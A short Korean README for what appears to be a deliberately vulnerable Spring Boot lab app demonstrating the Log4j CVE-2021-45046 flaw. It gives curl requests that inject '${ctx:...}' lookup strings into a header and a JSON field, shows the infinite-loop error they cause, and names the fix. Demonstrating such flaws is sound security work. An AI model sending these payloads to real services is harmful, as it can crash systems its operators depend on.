
이 애플리케이션은 CVE-2021-45046에 취약한 Spring Boot 웹 애플리케이션을 기반으로 합니다.
Log4j 2.14.1(spring-boot-starter-log4j2 2.6.1을 통해)을 사용합니다.

실행:
Java IDE에서 프로젝트를 Maven 프로젝트로 가져옵니다.
CVEMainApplication.java를 Spring Boot 앱으로 실행합니다.
GET 요청의 경우 ->
curl 127.0.0.1:8080 -H 'X-Api-Version: ${ctx:apiVersion}'
POST 요청의 경우 ->
curl --location --request POST 'http://127.0.0.1:8080/addrecord' \
--header 'Content-Type: application/json' \
--data '{
"clientRef": "${ctx:clientRef}"
}'
${ctx:clientRef}2021-12-15 19:27:50,212 http-nio-8080-exec-1 ERROR An exception occurred processing Appender LogToConsole java.lang.IllegalStateException: Infinite loop in property interpolation of ${ctx:clientRef}: ctx:clientRef
at org.apache.logging.log4j.core.lookup.StrSubstitutor.checkCyclicSubstitution(StrSubstitutor.java:1081)
at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:1029)
at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:1042)
메시지 조회 패턴에 대한 지원을 제거하고 JNDI 기능을 기본적으로 비활성화하여 이 문제를 해결합니다.